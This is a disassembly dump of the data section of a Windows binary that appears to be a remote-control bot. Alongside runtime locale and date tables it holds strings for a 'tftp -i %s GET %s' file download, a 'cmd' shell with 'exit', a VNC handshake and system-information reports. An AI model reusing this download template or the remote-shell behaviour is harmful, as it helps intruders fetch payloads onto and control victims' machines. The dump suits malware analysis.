		dd 69734102h, 203A0261h, 6B206425h, 2F746962h, 41022073h
		dd 61726576h, 3A026567h, 20642520h, 7469626Bh, 732Fh
dword_44F7FC	dd 20646425h, 20686425h, 6D6425hdword_44F808	dd 3539h	dword_44F80C	dd 544Eh	dword_44F810	dd 3839h	dword_44F814	dd 454Dh	dword_44F818	dd 4B32h	dword_44F81C	dd 5058h	a2003		db '2003',0             ; DATA XREF: seg000:0041A49Eo
		align 4
a???		db '???',0              ; DATA XREF: seg000:loc_41A4A7o
aSS_6		db '%s (%s)',0          ; DATA XREF: seg000:0041A4CFo
word_44F834	dw 3Fh			; DATA XREF: seg000:loc_41A4E6r
		align 4
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: seg000:loc_41A548o
		align 10h
aDdMmmYyyy	db 'dd:MMM:yyyy',0
aHhMmSs_0	db 'HH:mm:ss',0
		align 4
		dd 35310302h, 25B302Ch,	91323003h, 2343003h, 2790253h
		dd 2690273h, 266026Eh, 3003026Fh, 31032C32h, 32035D35h
		dd 50430220h, 203A0255h, 34364925h, 7A484D75h, 5202202Eh
		dd 3A024D41h, 4B732520h, 6F742042h, 2C6C6174h, 4B732520h
		dd 72662042h, 202E6565h, 73694402h, 203A026Bh, 74207325h
		dd 6C61746Fh, 7325202Ch, 65726620h, 2202E65h, 3A02534Fh
		dd 6E695720h, 73776F64h, 20732520h, 2E642528h, 202C6425h
		dd 6C697542h, 64252064h, 2202E29h, 64737953h, 3A027269h
		dd 2E732520h, 6F480220h, 616E7473h, 3A02656Dh, 20732520h
		dd 29732528h, 4302202Eh, 65727275h, 5520746Eh, 2726573h
		dd 7325203Ah, 4402202Eh, 2657461h, 7325203Ah, 5402202Eh
		dd 2656D69h, 7325203Ah,	5502202Eh, 6D697470h, 203A0265h
		dd 2E7325h
dword_44F95C	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64hdword_44F96C	dd 6C616944h, 70752Dhoff_44F974	dd offset dword_4E414C	; DATA XREF: sub_41A698:loc_41A705o
off_44F978	dd offset loc_412F4C+2	; DATA XREF: sub_41A698+77o
off_44F97C	dd offset loc_412F4C+2	; DATA XREF: sub_41A698+88o
dword_44F980	dd 35310302h, 25B302Ch,	91323003h, 2343003h, 265024Eh
					; DATA XREF: sub_41A698+AEo
		dd 2690274h, 266026Eh, 3003026Fh, 31032C32h, 32035D35h
		dd 79540220h, 3A026570h, 20732520h, 29732528h, 4902202Eh
		dd 64412050h, 73657264h, 203A0273h, 202E7325h, 736F4802h
		dd 6D616E74h, 203A0265h, 2E7325h
byte_44F9DC	db 63h			; DATA XREF: seg000:0041AA86o
					; seg000:0041AA99r
		db 6Dh,	64h, 0
aExit		db 'exit',0             ; DATA XREF: seg000:0041ABF1o
					; seg000:loc_41AC03r
		align 4
word_44F9E8	dw 4			; DATA XREF: sub_41A764+10r
		align 4
word_44F9EC	dw 1			; DATA XREF: sub_41A764+24r
		align 10h
dword_44F9F0	dd 20424652h, 2E333030h, 0A383030h, 0dword_44FA00	dd 201h		word_44FA04	dw 1			; DATA XREF: seg000:0041A8BEr
		align 4
word_44FA08	dw 1			; DATA XREF: seg000:0041A8F7r
		align 4
dword_44FA0C	dd 0EBFFh, 51FFhdword_44FA14	dd 0DFFh	word_44FA18	dw 72h			; DATA XREF: seg000:0041A903r
		align 4
dword_44FA1C	dd 6325h	aTftpISGetS	db 'tftp -i %s GET %s',0 ; DATA XREF: seg000:0041AB11o
		align 4
aC_1		db '%c',0               ; DATA XREF: seg000:0041AB3Do
		align 4
aC_2		db '%c',0               ; DATA XREF: seg000:0041ABABo
		align 4
aC_3		db '%c',0               ; DATA XREF: seg000:0041AC0Bo
		align 10h
dword_44FA40	dd 1							; sub_41AF30+F2r ...
dword_44FA44	dd 1							; sub_41AF30:loc_41B0E5r ...
dword_44FA48	dd 0FFFFFFFFh						; sub_41B330+9Er ...
byte_44FA4C	db 0FDh			; DATA XREF: sub_41AF30+2B7r
					; sub_41AF30+2D1r ...
byte_44FA4D	db 0DDh			; DATA XREF: sub_41B920+257r
					; sub_41B920+39Br ...
byte_44FA4E	db 0CDh			; DATA XREF: sub_41AF30+2F1r
					; sub_41B330+377r
		align 10h
off_44FA50	dd offset aFree		; DATA XREF: sub_41B920+177r
					; sub_41B920+1DDr ...
					; "Free"
		dd offset dword_4394FC+20h
		dd offset dword_4394FC+1Ch
		dd offset dword_4394FC+14h
		dd offset dword_4394FC+0Ch
		align 10h
off_44FA70	dd offset dword_4EF080	; DATA XREF: sub_41EF20+B3o
					; sub_41F070+3o ...
		align 8
		dd offset dword_4EF080
		dd 101h
dword_44FA80	dd 0				dd 0
		dd 1000h, 0
dword_44FA90	dd 3 dup(0)						; sub_424A30+111o ...
		dd 2, 1, 3 dup(0)
dword_44FAB0	dd 3 dup(0)						; sub_4269E0:loc_426A45o
		dd 2 dup(2), 83h dup(0)
dword_44FCD0	dd 8 dup(0)						; sub_41F0E0+Co
dword_44FCF0	dd 173Fh			dd 9875h, 9873h
off_44FCFC	dd offset sub_41F290	; DATA XREF: sub_41D990+3r
					; sub_41D990+Cr
		dd offset sub_41F2C0
		dd offset sub_41F2C0
dword_44FD08	dd 1B3Fh	dword_44FD0C	dd 19930520h, 4	dup(0)					; sub_41F966+2o
dword_44FD20	dd 1							; sub_41CB60+4Er ...
byte_44FD24	db 2Eh			; DATA XREF: sub_426BE0:loc_427A67r
					; sub_426BE0+ED2r ...
		align 4
dword_44FD28	dd 1							; sub_431120+296w
		align 10h
off_44FD30	dd offset sub_41D9F0	; DATA XREF: sub_420CA0+22r
dword_44FD34	dd 2							; sub_42CB30+86r ...
dword_44FD38	dd 0FFFFFFFFh						; seg000:00421086o ...
dword_44FD3C	dd 2							; seg000:00420D49r ...
		dd 2 dup(4)
dword_44FD48	dd 0FFFFFFFFh						; seg000:00420D9Cr ...
		dd 2 dup(0FFFFFFFFh)
off_44FD54	dd offset aWarning	; DATA XREF: sub_4211A0+284r
					; "Warning"
		dd offset aError	; "Error"
		dd offset dword_439D28+0Ch
dword_44FD60	dd 0							; sub_4219E0+44r ...
off_44FD64	dd offset dword_4EE9F0	; DATA XREF: sub_4219A0+29r
					; sub_4219E0+8Fr
		dd 7 dup(0)
off_44FD84	dd offset dword_4EEA20	; DATA XREF: sub_4219A0+1Cr
					; sub_4219E0:loc_421A49r
		dd 3 dup(0)
off_44FD94	dd offset dword_4EEA38	; DATA XREF: sub_4219A0+Fr
					; sub_4219E0+75r
		dd 3 dup(0)
off_44FDA4	dd offset dword_4EEA08	; DATA XREF: sub_4219A0+3r
					; sub_4219E0+82r
		dd 1Eh dup(0)
off_44FE20	dd offset sub_421C50	; DATA XREF: sub_41AF30+79r
					; sub_41B330+C1r ...
		dd 10h
dword_44FE28	dd 3F8h							; sub_421C60+3Cr ...
off_44FE2C	dd offset word_44FE36	; DATA XREF: sub_41CB60+7Cr
					; sub_41D460+2Dr ...
off_44FE30	dd offset word_44FE36	; DATA XREF: seg000:00431B54w
					; seg000:00431C0Bw
		db 2 dup(0)
word_44FE36	dw 20h			; DATA XREF: seg000:loc_431C01o
					; seg000:00431C0Bo ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
off_450038	dd offset aNull_0	; DATA XREF: sub_424CB0:loc_4250F2r
					; sub_424CB0+57Cr
					; "(null)"
off_45003C	dd offset aNull		; DATA XREF: sub_424CB0+514r
					; "(null)"
dword_450040	dd 0FFFFFFFFh						; sub_425B50+14r ...
		align 8
byte_450048	db 1			; DATA XREF: seg000:00425F2Fr
		db 2, 4, 8
		align 10h
dword_450050	dd 3A4h		word_450054	dw 8260h		; DATA XREF: seg000:00425F92r
					; seg002:004469E0o
		dw 8279h
		dd 21h,	0
dword_450060	dd 0DFA6h			align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_450140	dd 1		dword_450144	dd 16h				dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_4502A8	dd 0D2D0920h, 5Dhdword_4502B0	dd 5Dh,	0	dword_4502B8	dd 0FFFFFFFFh, 0A00h, 8	dup(0)					; sub_424A30:loc_424C29o
dword_4502E0	dd 14h		off_4502E4	dd offset aExp		; DATA XREF: sub_429230+2Er
					; "exp"
		dd 1Dh,	43A180h, 1Ah, 43A17Ch, 1Bh, 43A174h, 1Fh, 43A16Ch
		dd 13h,	43A164h, 21h, 43A15Ch, 0Eh, 43A154h, 0Dh, 43A14Ch
		dd 0Fh,	43A144h, 10h, 43A13Ch, 5, 43A134h, 1Eh,	43A130h
		dd 12h,	43A12Ch, 20h, 43A128h, 0Ch, 43A120h, 0Bh, 43A118h
		dd 15h,	43A110h, 1Ch, 43A108h, 19h, 43A100h, 11h, 43A0F8h
		dd 18h,	43A0F0h, 16h, 43A0E8h, 17h, 43A0E0h, 22h, 43A0DCh
		dd 23h,	43A0D8h, 24h, 43A0D4h
dbl_4503B8	dq 1.797693134862316e308 ; DATA	XREF: sub_428DD0+E4r
					; sub_428DD0:loc_428EC7r ...
		dd 0
		dd 0FFF80000h
dbl_4503C8	dq 1.797693134862316e308 ; DATA	XREF: sub_428DD0:loc_428F0Ar
					; sub_428DD0+167r ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_4503E0	dt 2.3562723457267347066e313 ; DATA XREF: sub_429620+13r
					; sub_429620+2Ar
		align 4
tbyte_4503EC	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_429620+41r
		align 4
off_4503F8	dd offset sub_430640	; DATA XREF: sub_41F2D0+3w
					; sub_424CB0+6ADr
off_4503FC	dd offset sub_430640	; DATA XREF: sub_41F2D0+Dw
					; sub_424CB0+6F1r
off_450400	dd offset sub_430640	; DATA XREF: sub_41F2D0+17w
					; sub_426BE0+1138r
off_450404	dd offset sub_430640	; DATA XREF: sub_41F2D0+21w
					; sub_424CB0+6CFr
off_450408	dd offset sub_430640	; DATA XREF: sub_41F2D0+2Bw
off_45040C	dd offset sub_430640	; DATA XREF: sub_41F2D0+35w
		dd offset sub_430650
		align 10h
off_450420	dd offset sub_42AB50	; DATA XREF: sub_42AC00+2Dr
					; sub_42AC00+3Dr
dword_450424	dd 43h							; seg002:00450540o ...
dword_450428	dd 43h,	20h dup(0)					; sub_42B320+117o ...
dword_4504AC	dd 43h,	20h dup(0)					; sub_42B320+FCo ...
off_450530	dd offset aLc_all	; DATA XREF: seg000:0042AE0Fr
					; seg000:0042AE28r ...
					; "LC_ALL"
dword_450534	dd 0							; seg000:0042AFB0r ...
off_450538	dd offset sub_42B4B0	; DATA XREF: sub_42B080+12Br
		dd offset aLc_collate	; "LC_COLLATE"
		dd offset dword_450424
		dd offset sub_431C50
		dd offset aLc_ctype	; "LC_CTYPE"
off_45054C	dd offset dword_450424	; DATA XREF: sub_42B220+F0r
		dd offset loc_4318B0
		dd offset aLc_monetary	; "LC_MONETARY"
		dd offset dword_450424
		dd offset sub_431450
		dd offset aLc_numeric	; "LC_NUMERIC"
		dd offset dword_450424
		dd offset sub_431120
		dd offset aLc_time	; "LC_TIME"
		dd offset dword_450424
		dd offset sub_4307A0
dword_450578	dd 0C0000005h, 0Bh, 0					; seg000:00425D9Eo ...
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_4505F0	dd 3							; sub_42BEA0:loc_42BF4Br ...
dword_4505F4	dd 7							; sub_42D300+17Dr
dword_4505F8	dd 78h							; seg000:0042D196r
dword_4505FC	dd 0Ah							; sub_42C060:loc_42C092r ...
dword_450600	dd 2							; sub_42CB30+3Dr ...
off_450604	dd offset aR6002FloatingP ; DATA XREF: sub_42CB30+56r
					; sub_42CB30+98r ...
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 43A520h, 9, 43A4F4h, 0Ah,	43A4D0h, 10h, 43A4A4h
		dd 11h,	43A474h, 12h, 43A450h, 13h, 43A424h, 18h, 43A3ECh
		dd 19h,	43A3C4h, 1Ah, 43A38Ch, 1Bh, 43A354h, 1Ch, 43A32Ch
		dd 78h,	43A31Ch, 79h, 43A30Ch, 7Ah, 43A2FCh, 0FCh, 43A2F8h
		dd 0FFh, 43A2E8h
dword_450690	dd 7080h						; seg000:0042EE60w ...
dword_450694	dd 1							; seg000:0042EE9Fw ...
dword_450698	dd 0FFFFF1F0h						; seg000:0042EEB7w ...
dword_45069C	dd 545350h, 0Fh	dup(0)dword_4506DC	dd 544450h, 0Fh	dup(0)off_45071C	dd offset dword_45069C	; DATA XREF: seg000:0042EEDAr
					; seg000:0042EF03r ...
off_450720	dd offset dword_4506DC	; DATA XREF: seg000:0042EF20r
					; seg000:0042EF4Ar ...
		align 8
dword_450728	dd 0FFFFFFFFh						; sub_42F1C0+1Ar ...
dword_45072C	dd 0							; sub_42F1C0+20Fr ...
dword_450730	dd 0							; sub_42F4C0+13Dw
		align 8
dword_450738	dd 0FFFFFFFFh						; seg000:0042EE0Br ...
dword_45073C	dd 0							; sub_42F1C0+21Dr ...
dword_450740	dd 0							; sub_42F4C0+1Dr ...
dword_450744	dd 0FFFFFFFFh			dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_450774	dd 16Dh							; sub_42F4C0+2Cr ...
dword_450778	dd 0FFFFFFFFh			dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch
dword_4507AC	dd 2694h						; seg000:0042870Fr ...
dword_4507B0	dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFhdword_4507C8	dd 80h,	0FFFFFF81h, 18h, 8, 20h, 7Fhdword_4507E0	dd 40Ah							; sub_432800+147r
a040a		db '040a',0             ; DATA XREF: sub_432800+9Ao
		align 4
off_4507EC	dd offset aSpanishTraditi ; DATA XREF: sub_432800+ABr
					; "Spanish - Traditional Sort"
off_4507F0	dd offset byte_505345	; DATA XREF: sub_432800+BCo
off_4507F4	dd offset aSpain	; DATA XREF: sub_432800+CDr
					; "Spain"
off_4507F8	dd offset byte_505345	; DATA XREF: sub_432800+DEo
dword_4507FC	dd 303538h, 0	a1252		db '1252',0             ; DATA XREF: sub_432800+100o
		align 4
		dd 40Bh, 62303430h, 0
		dd offset aFinnish	; "Finnish"
		dd offset word_4E4946
		dd offset aFinland	; "Finland"
		dd offset word_4E4946
		dd 303538h, 0
a1252_0		db '1252',0
		align 4
		dd 40Ch, 63303430h, 0
		dd offset aFrench	; "French"
		dd offset dword_414E1C+42Ah
		dd offset aFrance	; "France"
		dd offset dword_414E1C+42Ah
		dd 303538h, 0
a1252_1		db '1252',0
		align 4
		dd 40Fh, 66303430h, 0
		dd offset aIcelandic	; "Icelandic"
		dd offset byte_4C5349
		dd offset aIceland	; "Iceland"
		dd offset byte_4C5349
		dd 303538h, 0
a1252_2		db '1252',0
		align 10h
		dd 41Dh, 64313430h, 0
		dd offset aSwedish	; "Swedish"
		dd offset byte_455653
		dd offset aSweden	; "Sweden"
		dd offset byte_455753
		dd 303538h, 0
a1252_3		db '1252',0
		align 4
		dd 42Dh, 64323430h, 0
		dd offset aBasque	; "Basque"
		dd offset byte_515545
		dd offset aSpain	; "Spain"
		dd offset byte_505345
		dd 303538h, 0
a1252_4		db '1252',0
		align 4
		db 0Ah
		db 8,0
		align 4
a080a		db '080a',0
		align 4
		dd offset aSpanish	; "Spanish"
		dd offset byte_4D5345
		dd offset aMexico	; "Mexico"
		dd 58454Dh, 303538h, 0
a1252_5		db '1252',0
		align 4
		dd 80Ch, 63303830h, 0
		dd offset aFrench	; "French"
		dd offset loc_425243+3
		dd offset aBelgium	; "Belgium"
		dd offset word_4C4542
		dd 303538h, 0
a1252_6		db '1252',0
		align 10h
		dd 0C07h, 37306330h, 0
		dd offset aGerman	; "German"
		dd offset dword_414400+144h
		dd offset aAustria	; "Austria"
		dd 545541h, 303538h, 0
a1252_7		db '1252',0
		align 4
		dd 0C09h, 39306330h, 0
		dd offset aEnglish	; "English"
		dd offset dword_414E1C+29h
		dd offset aAustralia	; "Australia"
		dd 535541h, 303538h, 0
a1252_8		db '1252',0
		align 4
		dd 0C0Ah, 61306330h, 0
		dd offset aSpanishModernS ; "Spanish - Modern Sort"
		dd offset byte_4E5345
		dd offset aSpain	; "Spain"
		dd offset byte_505345
		dd 303538h, 0
a1252_9		db '1252',0
		align 4
		dd 0C0Ch, 63306330h, 0
		dd offset aFrench	; "French"
		dd offset loc_435246
		dd offset aCanada	; "Canada"
		dd offset byte_4E4143
		dd 303538h, 0
a1252_10	db '1252',0
		align 10h
		dd 100Ah, 61303031h, 0
		dd offset aSpanish	; "Spanish"
		dd offset byte_475345
		dd offset aGuatemala	; "Guatemala"
		dd offset byte_4D5447
		dd 303538h, 0
a1252_11	db '1252',0
		align 4
		dd 100Ch, 63303031h, 0
		dd offset aFrench	; "French"
		dd 535246h, 43A764h, 454843h, 303538h, 0
a1252_12	db '1252',0
		align 4
		dd 140Ah, 61303431h, 0
		dd offset aSpanish	; "Spanish"
		dd offset loc_435345
		dd offset aCostaRica	; "Costa Rica"
		dd offset byte_495243
		dd 303538h, 0
a1252_13	db '1252',0
		align 4
		dd 140Ch, 63303431h, 0
		dd offset aFrench	; "French"
		dd offset word_4C5246
		dd offset aLuxembourg	; "Luxembourg"
		dd 58554Ch, 303538h, 0
a1252_14	db '1252',0
		align 10h
		dd 180Ah, 61303831h, 0
		dd offset aSpanish	; "Spanish"
		dd offset dword_414E1C+529h
		dd offset aPanama	; "Panama"
		dd offset dword_4E4150
		dd 303538h, 0
a1252_15	db '1252',0
		align 4
		dd 1C09h, 39306331h, 0
		dd offset aEnglish	; "English"
		dd 534E45h, 43A734h, 46415Ah, 373334h, 0
a1252_16	db '1252',0
		align 4
		dd 1C0Ah, 61306331h, 0
		dd offset aSpanish	; "Spanish"
		dd offset dword_445258+0EDh
		dd offset aDominicanRepub ; "Dominican Republic"
		dd offset dword_4D4F44
		dd 303538h, 0
a1252_17	db '1252',0
		align 4
		db 0Ah
		db ' ',0
		align 4
a200a		db '200a',0
		align 10h
		dd offset aSpanish	; "Spanish"
		dd 565345h, 43A714h, 4E4556h, 303538h, 0
a1252_18	db '1252',0
		align 10h
		db 0Ah
		db '$',0
		align 4
a240a		db '240a',0
		align 4
		dd offset aSpanish	; "Spanish"
		dd offset byte_4F5345
		dd offset aColombia	; "Colombia"
		dd offset byte_4C4F43
		dd 303538h, 0
a1252_19	db '1252',0
		align 4
		db 0Ah
		db '(',0
		align 10h
a280a		db '280a',0
		align 4
		dd offset aSpanish	; "Spanish"
		dd 525345h, 43A700h, 524550h, 303538h, 0
a1252_20	db '1252',0
		align 4
		db 0Ah
		db ',',0
		align 4
a2c0a		db '2c0a',0
		align 4
		dd offset aSpanish	; "Spanish"
		dd 535345h, 43A6F4h, 475241h, 303538h, 0
a1252_21	db '1252',0
		align 4
a0		db 0Ah
		db '0',0
		align 4
a300a		db '300a',0
		align 10h
		dd offset aSpanish	; "Spanish"
		dd offset byte_465345
		dd offset aEcuador	; "Ecuador"
		dd 554345h, 303538h, 0
a1252_22	db '1252',0
		align 10h
a4		db 0Ah
		db '4',0
		align 4
a340a		db '340a',0
		align 4
		dd offset aSpanish	; "Spanish"
		dd offset byte_4C5345
		dd offset aChile	; "Chile"
		dd offset byte_4C4843
		dd 303538h, 0
a1252_23	db '1252',0
		align 4
a8		db 0Ah
		db '8',0
		align 10h
a380a		db '380a',0
		align 4
		dd offset aSpanish	; "Spanish"
		dd 595345h, 43A6DCh, 595255h, 303538h, 0
a1252_24	db '1252',0
		align 4
		db 0Ah
		db '<',0
		align 4
a3c0a		db '3c0a',0
		align 4
		dd offset aSpanish	; "Spanish"
		dd 5A5345h, 43A6D0h, 595250h, 303538h, 0
a1252_25	db '1252',0
		align 4
word_450C84	dw 0C0Ch, 0C1Ah, 1007h,	436h, 80Ch, 42Dh, 403h,	100Ch
					; DATA XREF: sub_4326D0+34r
		dw 810h, 81Dh
off_450C98	dd offset aAmerica	; DATA XREF: seg000:00431D7Co
					; "america"
		dd offset dword_414E1C+539h
		dd offset aBritain	; "britain"
		dd 524247h, 43A924h, 4E4843h, 43A91Ch, 455A43h,	43A914h
		dd 524247h, 43A904h, 524247h, 43A8FCh, 444C4Eh,	43A8F0h
		dd 474B48h, 43A8E4h, 4C5A4Eh, 43A8E0h, 4C5A4Eh,	43A8D4h
		dd 4E4843h, 43A8C8h, 4E4843h, 43A8BCh, 495250h,	43A8B4h
		dd 4B5653h, 43A8A4h, 46415Ah, 43A898h, 524F4Bh,	43A888h
		dd 46415Ah, 43A87Ch, 524F4Bh, 43A868h, 4F5454h,	43A944h
		dd 524247h, 43A858h, 524247h, 43A848h, 415355h,	43A940h
		dd 415355h
off_450D50	dd offset aAmerican	; DATA XREF: seg000:00431D47o
					; "american"
		dd 554E45h, 43AD30h, 554E45h, 43AD1Ch, 554E45h,	43AD10h
		dd 414E45h, 43AD08h, 424C4Eh, 43ACFCh, 434E45h,	43ACF8h
		dd 48485Ah, 43ACF4h, 49485Ah, 43ACECh, 534843h,	43ACD8h
		dd 48485Ah, 43ACC4h, 534843h, 43ACB0h, 49485Ah,	43AC9Ch
		dd 544843h, 43AC8Ch, 424C4Eh, 43AC78h, 554E45h,	43AC6Ch
		dd 414E45h, 43AC5Ch, 4C4E45h, 43AC50h, 434E45h,	43AC3Ch
		dd 424E45h, 43AC30h, 494E45h, 43AC20h, 4A4E45h,	43AC14h
		dd 5A4E45h, 43ABFCh, 534E45h, 43ABE0h, 544E45h,	43ABD4h
		dd 474E45h, 43ABC8h, 554E45h, 43ABBCh, 554E45h,	43ABACh
		dd 425246h, 43AB9Ch, 435246h, 43AB88h, 4C5246h,	43AB78h
		dd 535246h, 43AB68h, 414544h, 43AB54h, 434544h,	43AB40h
		dd 4C4544h, 43AB30h, 534544h, 43AB20h, 494E45h,	43AB10h
		dd 535449h, 43AB04h, 524F4Eh, 43AAF0h, 524F4Eh,	43AADCh
		dd 4E4F4Eh, 43AAC4h, 425450h, 43AAB0h, 535345h,	43AAA0h
		dd 425345h, 43AA90h, 4C5345h, 43AA7Ch, 4F5345h,	43AA68h
		dd 435345h, 43AA4Ch, 445345h, 43AA3Ch, 465345h,	43AA28h
		dd 455345h, 43AA14h, 475345h, 43AA00h, 485345h,	43A9F0h
		dd 4D5345h, 43A9E0h, 4E5345h, 43A9CCh, 495345h,	43A9BCh
		dd 415345h, 43A9A8h, 5A5345h, 43A998h, 525345h,	43A984h
		dd 555345h, 43A974h, 595345h, 43A960h, 565345h,	43A950h
		dd 465653h, 43A948h, 534544h, 43A944h, 474E45h,	43A940h
		dd 554E45h, 43A93Ch, 554E45h
off_450F58	dd offset off_450F60	; DATA XREF: sub_4307A0+70w
					; sub_4307A0:loc_430841w ...
		align 10h
off_450F60	dd offset aSun		; DATA XREF: sub_4307A0:loc_430841o
					; seg002:off_450F58o
					; "Sun"
		dd offset aMon		; "Mon"
		dd offset aTue		; "Tue"
		dd offset aWed		; "Wed"
		dd offset aThu		; "Thu"
		dd offset aFri		; "Fri"
		dd offset aSat		; "Sat"
		dd offset aSunday	; "Sunday"
		dd offset aMonday	; "Monday"
		dd offset aTuesday	; "Tuesday"
		dd offset aWednesday	; "Wednesday"
		dd offset aThursday	; "Thursday"
		dd offset aFriday	; "Friday"
		dd offset aSaturday	; "Saturday"
		dd offset aJan		; "Jan"
		dd offset aFeb		; "Feb"
		dd offset aMar		; "Mar"
		dd offset aApr		; "Apr"
		dd offset aMay		; "May"
		dd offset aJun		; "Jun"
		dd offset aJul		; "Jul"
		dd offset aAug		; "Aug"
		dd offset aSep		; "Sep"
		dd offset aOct		; "Oct"
		dd offset aNov		; "Nov"
		dd offset aDec		; "Dec"
		dd offset aJanuary	; "January"
		dd offset aFebruary	; "February"
		dd offset aMarch	; "March"
		dd offset aApril	; "April"
		dd offset aMay		; "May"
		dd offset aJune		; "June"
		dd offset aJuly		; "July"
		dd offset aAugust	; "August"
		dd offset aSeptember	; "September"
		dd offset aOctober	; "October"
		dd offset aNovember	; "November"
		dd offset dword_43AD88+34h
		dd offset dword_43AD88+30h
		dd offset dword_43AD88+2Ch
		dd offset dword_43AD88+24h
		dd offset dword_43AD88+10h
		dd offset dword_43AD88+8
		align 10h
dword_451010	dd 2Eh,	0						; seg002:off_451018o
off_451018	dd offset dword_451010	; DATA XREF: sub_431450+D4w
					; sub_431450+F6o ...
off_45101C	dd offset dword_4EECF0	; DATA XREF: sub_431450+E2w
off_451020	dd offset dword_4EECF0	; DATA XREF: sub_431450+F1w
		dd offset dword_4EECF0
		dd offset dword_4EECF0
		dd offset dword_4EECF0
		dd offset dword_4EECF0
		dd offset dword_4EECF0
		dd offset dword_4EECF0
		dd offset dword_4EECF0
		dd 2 dup(7F7F7F7Fh)
off_451048	dd offset off_451018	; DATA XREF: sub_431120:loc_431209r
					; sub_431120+F8r ...
		align 10h
dword_451050	dd 2 dup(0)			dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_4511B0	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_4365B0+2Ao
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
